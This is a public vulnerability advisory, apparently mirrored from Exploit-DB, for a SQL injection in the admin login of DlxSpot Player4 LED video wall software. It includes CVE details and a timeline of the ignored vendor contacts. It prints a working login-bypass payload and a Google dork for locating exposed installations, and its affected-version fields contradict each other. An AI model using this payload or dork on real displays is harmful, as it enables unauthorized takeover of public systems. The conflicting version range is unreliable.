DlxSpot - Player4 LED video wall - Admin Interface SQL Injection

vendor:

DlxSpot

by:

Simon Brannstrom

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: DlxSpot

Affected Version From: Version 1.5.10

Affected Version To: All versions below 1.5.10

Patch Exists: NO

Related CWE: CVE-2017-12930, CVE-2017-12928, CVE-2017-12929

CPE: a:tecnovision:dlxspot

Metasploit:

Other Scripts:

Platforms Tested: Linux

2017

DlxSpot – Player4 LED video wall – Admin Interface SQL Injection

DlxSpot Player 4 above version 1.5.10 suffers from an SQL injection vulnerability in the admin interface login and is exploitable using the username:admin and password:x' or 'x'='x.

Mitigation:

Update to a version higher than 1.5.10, or apply patches provided by the vendor.

Source

Exploit-DB raw data:

# Exploit Title: DlxSpot - Player4 LED video wall - Admin Interface SQL
Injection
# Google Dork: "DlxSpot - Player4"
# Date: 2017-05-14
# Discoverer: Simon Brannstrom
# Authors Website: https://unknownpwn.github.io/
# Vendor Homepage: http://www.tecnovision.com/
# Software Link: n/a
# Version: >1.5.10
# Tested on: Linux
# About: DlxSpot is the software controlling Tecnovision LED Video Walls
all over the world, they are used in football arenas, concert halls,
shopping malls, as roadsigns etc.
# CVE: CVE-2017-12930
# Linked CVE's: CVE-2017-12928, CVE-2017-12929

# Visit my github page at
https://github.com/unknownpwn/unknownpwn.github.io/blob/master/README.md
for complete takeover of the box, from SQLi to full root access.
###############################################################################################################################

DlxSpot Player 4 above version 1.5.10 suffers from an SQL injection
vulnerability in the admin interface login and is exploitable the following
way:

username:admin
password:x' or 'x'='x

TIMELINE:
2017-05-14 - Discovery of vulnerabilities.
2017-05-15 - Contacted Tecnovision through contact form on manufacturer
homepage.
2017-06-01 - No response, tried contacting again through several contact
forms on homepage.
2017-08-10 - Contacted Common Vulnerabilities and Exposures (CVE)
requesting CVE assignment.
2017-08-17 - Three CVE's assigned for the vulnerabilities found.
2017-08-22 - With help from fellow hacker and friend, byt3bl33d3r, sent an
email in Italian to the company.
2017-09-18 - No response, full public disclosure.

DEDICATED TO MARCUS ASTROM
FOREVER LOVED - NEVER FORGOTTEN